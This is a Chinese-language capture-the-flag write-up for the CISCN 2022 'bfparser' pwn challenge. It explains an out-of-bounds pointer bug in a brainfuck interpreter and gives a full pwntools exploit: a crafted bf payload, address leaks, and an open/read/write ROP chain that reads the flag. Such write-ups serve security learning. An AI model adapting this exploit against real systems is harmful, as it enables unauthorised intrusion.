CISCN-2022-西南分区赛PWN WP
bfparser
分析
保护是全开了的。
看看main函数
分配了一个0x1000的chunk来写入数据。在sub_13BA()里进行了一定的预处理。
然后开了沙箱,只能orw
关键漏洞出在sub_163F()
这里有一个__asm{ jmp rax }
,估计是跳表需要修复,懒得修了,直接看汇编吧
可以看到,根据输入的东西不同,执行不一样的操作。结合标题的bf,可以想到brainfuck
语言
百度了之后,发现bf语言的语法其实非常简洁。值得注意的是,他有移动指针和修改指针内容的功能。
此函数是通过v2
这个变量模拟的bf语言运行的空间。不难看出,移动指针可以导致栈溢出。
他的指针操作是由一个变量当做下标来实现的,不幸的是,他一次只会移动1字节。
如果单纯使用'>'*n
的方式来移动的话,他初始位于rbp-0x210,想要劫持到返回地址就需要0x218*8个字节的数据,已经超过了题目给的0x1000。
一开始我想的是劫持[rbp-0x214]这个指针,但是由于个人太菜了,没有成功。(感觉是负数的问题)
于是去想办法简化bf语言的payload。
最后想到的是用 +[>>>>>>>>,]
通过自己的输入来有限控制指针循环移动
然后经过不断的二分调试,最终确定了payload让指针到了返回地址
(这里劫持的是main函数的栈帧,也就是 __libc_start_main+243
)
pay = '+[>>>>>>>>,]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>'
劫持到这里主要是觉得方便leak libc和栈基址。(中途脑袋抽了,还把pie基址一块leak了,当时想的是rop要用gadgets,然而最后还是直接用的libc的gadgets)
leak之后就简单了,直接rop去写orw。
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# p = remote('192.168.0.76', 58011)
# p.recvuntil('TEST')
'''
pop_rdi = 0x0000000000000973 # pop rdi ; ret
ret = 0x000000000000001a # ret
'''
pay = '+[>>>>>>>>,]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>'
pay += '>>>>>>>>'*2
pay += '.>'*8
pay += '>>>>>>>>'
pay += '.>'*8
pay += '<<<<<<<<'*5
pay += '.>'*8
pay += '<<<<<<<<'
pay += ',>'*8 * 22
# pay += '.'
# gdb.attach(p)
dd = '0'*0x40 + '\x00'
p.sendline(pay)
gdb.attach(p)
p.send(dd)
stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(0x8, b'\x00'))-0xf0
print(hex(stack))
pie = u64(p.recvuntil(b'\x55')[-6:].ljust(0x8, b'\x00')) - 0x854
print(hex(pie))
libcbase = u64(p.recvuntil(b'\x7f')[-6:].ljust(0x8, b'\x00')) - 0x24083
print(hex(libcbase))
'''
one = [0xe3afe, 0xe3b01, 0xe3b04]
# print(hex(libcbase + one[0]))
p.sendline(p64(one[2]+libcbase))
'''
pop_rdi = libcbase + 0x0000000000023b6a # pop rdi ; ret
pop_rsi = libcbase + 0x000000000002601f # pop rsi ; ret
pop_rdx = libcbase + 0x0000000000142c92 # pop rdx ; ret
op = libcbase + libc.symbols['open']
re = libcbase + libc.symbols['read']
wr = libcbase + libc.symbols['write']
pay = p64(pop_rdi) + p64(stack+8*21) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(op)
pay += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack-0x100) + p64(pop_rdx)+p64(0x30)+p64(re)
pay += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(stack-0x100) + p64(pop_rdx)+p64(0x30)+p64(wr)
pay += b'./flag\x00\x00'
p.send(pay)
p.interactive()